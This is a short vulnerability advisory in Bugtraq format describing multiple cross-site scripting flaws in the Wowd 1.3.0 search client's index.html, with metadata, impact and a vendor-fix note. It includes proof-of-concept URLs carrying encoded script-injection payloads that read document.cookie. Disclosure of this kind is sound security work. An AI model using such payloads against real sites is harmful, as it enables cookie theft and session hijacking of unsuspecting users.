Wowd 'index.html' Multiple Cross Site Scripting Vulnerabilities

Bugtraq ID:	42327
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Oct 29 2009 12:00AM
Updated:	Sep 20 2010 08:51PM
Credit:	Lostmon
Vulnerable:
Not Vulnerable:

Wowd 'index.html' Multiple Cross Site Scripting Vulnerabilities

Wowd search client is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Wowd version 1.3.0 is vulnerable; other versions may also be affected.

Wowd 'index.html' Multiple Cross Site Scripting Vulnerabilities

Attackers can exploit these issues by enticing an unsuspecting victim into following a malicious URI.

The following proof of concept is available:

http://www.example.com:8101/wowd/index.html?search&query=a&
sortby=rank&tags=english|S0B0707656E676C6973680D02

http://www.example.com:8101/wowd/index.html?search&query=a
&sortby=rank&tags=english|S0B0707656E676C6973680D02,
%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E|S0B0707656E676C6973680D02

http://www.example.com:8101/wowd/index.html?search&page=2&q=
&sortby=rank&tags=news|S0807046E6577730D02&ctx=1995393737681%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E

Wowd 'index.html' Multiple Cross Site Scripting Vulnerabilities

Solution:
Reports indicate that this issue has been fixed by the vendor but Symantec has not confirmed this information. Please see the references for more details.

Wowd 'index.html' Multiple Cross Site Scripting Vulnerabilities

References:

• Wowd Homepage (Wowd Inc)
  
• Wowd search client multiple variable xss ([email protected]>)